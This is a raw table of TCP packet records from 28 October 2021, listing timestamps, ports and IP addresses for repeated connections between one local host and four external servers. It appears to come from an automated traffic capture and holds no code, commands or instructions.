Oct 28, 2021 04:47:23.289958000 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.289980888 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.327826977 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.328006029 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.513952017 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.513982058 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.514051914 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.514081001 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.525208950 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.576358080 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.648222923 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:23.648278952 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:23.648355007 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:23.648838997 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:23.648868084 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:23.891007900 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:24.089476109 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:24.163260937 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:24.165849924 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:24.167979956 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:24.168004036 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:24.171422005 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:24.171446085 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:24.171499968 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:24.171523094 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:24.579588890 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:24.764947891 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:24.875736952 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:24.875806093 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:24.875890970 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:24.890434027 CEST	50074	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:24.890484095 CEST	443	50074	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:25.072285891 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.144516945 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:25.144536018 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:25.144701004 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:25.148567915 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:25.237071037 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.239101887 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.247781038 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.321571112 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.346987009 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:25.369082928 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.369296074 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.381072044 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.413522005 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.413559914 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.413758039 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.416960001 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.422096968 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.422240019 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.428431034 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.428575993 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.428674936 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.431349993 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.436168909 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.436330080 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.484574080 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.484602928 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.581209898 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.586422920 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.586457014 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.653956890 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.653991938 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.654131889 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.661060095 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:25.708458900 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:25.788451910 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:25.788536072 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:25.788664103 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:25.789418936 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:25.789463997 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:25.971189022 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.971226931 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:25.971360922 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.971446991 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:25.979093075 CEST	50076	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:26.098567009 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.143601894 CEST	808	50076	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:26.264256001 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.264374971 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.265429020 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.306600094 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:26.306727886 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:26.308726072 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:26.308748960 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:26.312726021 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:26.312752008 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:26.312777996 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:26.312788963 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:26.430917025 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.431063890 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.431186914 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.431721926 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.435977936 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.436120033 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.601641893 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.601665974 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.638274908 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.982069016 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.982183933 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:26.982295036 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.982352972 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:26.992145061 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:27.021576881 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:27.021646023 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:27.021689892 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:27.021714926 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:27.023919106 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:27.023947954 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:27.118995905 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.157670975 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:27.168517113 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.169374943 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.169926882 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.186693907 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.219106913 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.219207048 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.219388008 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.219922066 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.224098921 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.224215984 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.273328066 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.273968935 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.361370087 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.365058899 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.365653992 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.444991112 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.445014000 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.445117950 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.452202082 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:27.501486063 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:27.540164948 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.540306091 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.540450096 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.541322947 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.548892975 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.549297094 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:27.563705921 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:27.563791037 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:27.563967943 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:27.573026896 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:27.573048115 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:27.715821028 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.724198103 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.725152016 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.725189924 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.725207090 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:27.725244045 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:28.095211029 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.095319033 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.095963001 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.095978022 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.100878000 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:28.100919962 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:28.101161003 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:28.103178024 CEST	50083	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:28.103482962 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.103502989 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.103614092 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.103630066 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.219652891 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.277834892 CEST	808	50083	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:28.386199951 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:28.387295008 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.387311935 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.553832054 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:28.554049015 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:28.554136992 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.554639101 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.558706045 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.558821917 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:28.725081921 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:28.725111961 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:28.725135088 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:28.816174984 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.816251993 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.816266060 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.816313028 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.816320896 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.816365004 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.821741104 CEST	50085	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:28.821763992 CEST	443	50085	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:28.964885950 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.100388050 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:29.100409985 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:29.100506067 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:29.100529909 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:29.103152037 CEST	50086	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:29.132169008 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.132261038 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.133081913 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.217667103 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.269480944 CEST	6891	50086	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:29.277865887 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.277997971 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.278706074 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.300240040 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.300262928 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.300348997 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.300779104 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.303926945 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.304025888 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.340683937 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.341094971 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.341178894 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.342602015 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.345892906 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.346071959 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.405994892 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.406373024 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.409888029 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.467796087 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.470974922 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.470998049 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.471081018 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.592253923 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.592294931 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.592482090 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.597395897 CEST	50089	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:29.657489061 CEST	8116	50089	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:29.718564034 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:29.718605995 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:29.718688965 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:29.721401930 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:29.721417904 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:29.850543022 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.850580931 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:29.850703955 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.859054089 CEST	50087	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:29.978668928 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.026458979 CEST	808	50087	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:30.146261930 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.148731947 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.149269104 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.250387907 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:30.250484943 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.251050949 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.251056910 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:30.254607916 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.254617929 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:30.254734039 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.254754066 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:30.327744961 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.327900887 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.328037024 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.328890085 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.336385965 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.336690903 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.513174057 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.513267994 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.513402939 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.891199112 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.891249895 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:30.891428947 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.904556990 CEST	50091	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:30.965243101 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:30.965315104 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:30.965390921 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.965414047 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.968873024 CEST	50090	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:30.968910933 CEST	443	50090	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:31.018336058 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.066865921 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.067187071 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.067941904 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.096025944 CEST	6891	50091	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:31.116259098 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.116406918 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.116539001 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.116992950 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.120309114 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.120497942 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.140249014 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.168828964 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.169105053 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.169528008 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.299820900 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.299921989 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.300895929 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.355686903 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.355721951 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.355830908 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.355897903 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.362977982 CEST	50092	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:31.411340952 CEST	8116	50092	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:31.460218906 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.460391998 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.460534096 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.461723089 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.465595961 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.465646982 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:31.491853952 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.491899014 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:31.492002010 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.492851019 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.492863894 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:31.621117115 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.625264883 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.625307083 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.625334024 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.625359058 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:31.984903097 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:31.985039949 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.985590935 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.985599995 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:31.989181042 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.989187956 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:31.989289045 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:31.989296913 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:32.011689901 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:32.011714935 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:32.011806011 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:32.011838913 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:32.014081955 CEST	50093	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:32.123868942 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.173475981 CEST	808	50093	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:32.289331913 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:32.289530039 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.290309906 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.455591917 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:32.455698013 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:32.455800056 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.456901073 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.461096048 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.461210966 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:32.626435995 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:32.626461983 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:32.683543921 CEST	443	50094	192.46.210.220	192.168.2.5
